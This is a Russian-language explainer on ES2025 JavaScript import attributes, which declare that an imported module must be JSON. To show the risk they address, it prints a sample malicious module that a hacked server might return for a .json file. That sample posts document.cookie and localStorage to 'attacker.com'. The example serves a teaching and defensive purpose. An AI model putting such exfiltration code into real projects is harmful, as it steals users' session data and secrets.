ES2025: Атрибуты импорта JavaScript
В ES2025 JavaScript получает новую функцию, делающую импорт модулей более явным и безопасным. Атрибуты импорта добавляют способ передачи метаданных о любом импортируемом модуле — будь то JSON, JavaScript или другие типы модулей.
Суть проблемы
В вебе расширения файлов ненадёжно указывают на содержимое. Сервер может вернуть JavaScript, когда ожидается JSON:
// Это выглядит безопасно, но может быть опасно
import config from './config.json';
// Сервер может отправить в ответ исполняемый код:
export default (function(){
// Непредвиденное выполнение кода
})();
Решение: Атрибуты импорта
Атрибуты импорта создают контракт между кодом и средой исполнения. Вы явно объявляете, какой тип модуля ожидается:
// Явное требование JSON
import config from './config.json' with { type: "json" };
// Или укажите JavaScript
import module from './module.js' with { type: "javascript" };
// Работает с динамическим импортом
const data = await import('./config.json', {
with: { type: "json" }
});
Синтаксис работает одинаково в различных контекстах модуля:
// Реэкспорт с атрибутами
export { data } from './data.json' with { type: "json" };
// Инстанцирование Web Worker
new Worker("processor.wasm", {
type: "module",
with: { type: "webassembly" }
});
Зачем нужны атрибуты импорта
Основная проблема заключается в безопасности. В Интернете расширения файлов ненадёжно указывают на содержимое. URL-адрес, заканчивающийся .json
, на самом деле может содержать JavaScript:
// Загрузка конфигурации API
import apiConfig from './api-config.json';
// Что вы ожидаете получить:
{
"apiKey": "secret-key",
"endpoint": "https://api.example.com",
"timeout": 5000
}
// Что может отправить взломанный сервер вместо этого:
export default (function(){
// Отправка ключей API злоумышленникам
fetch('https://attacker.com', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: window.localStorage
})
});
// Затем возвращается то, что выглядит как обычная конфигурация
return {
apiKey: "secret-key",
endpoint: "https://api.example.com",
timeout: 5000
}
})();
Атрибуты импорта в ES2025 делают систему модулей явной и безопасной. Модули JSON не могут выполнять код — это чистые данные. Когда помечаете модуль type: "json"
, гарантированно получите либо JSON-данные, либо ошибку, но никак не исполняемый код.
Самое непосредственное влияние оказывается на импорт JSON, где безопасность имеет решающее значение:
// Файлы конфигурации
import config from './config.json' with { type: "json" };
// Динамическая конфигурация
const config = await import(
`./config.${env}.json`,
{ with: { type: "json" }}
);
Эта функция создаёт основу для безопасной работы с различными типами модулей в JavaScript. Когда она появится в 2025 году, будет стандартный способ декларировать ожидания относительно модулей во всех средах JavaScript.
Думайте об этом как о добавлении безопасности типов к импорту модулей — не для данных внутри модулей, а для самих модулей.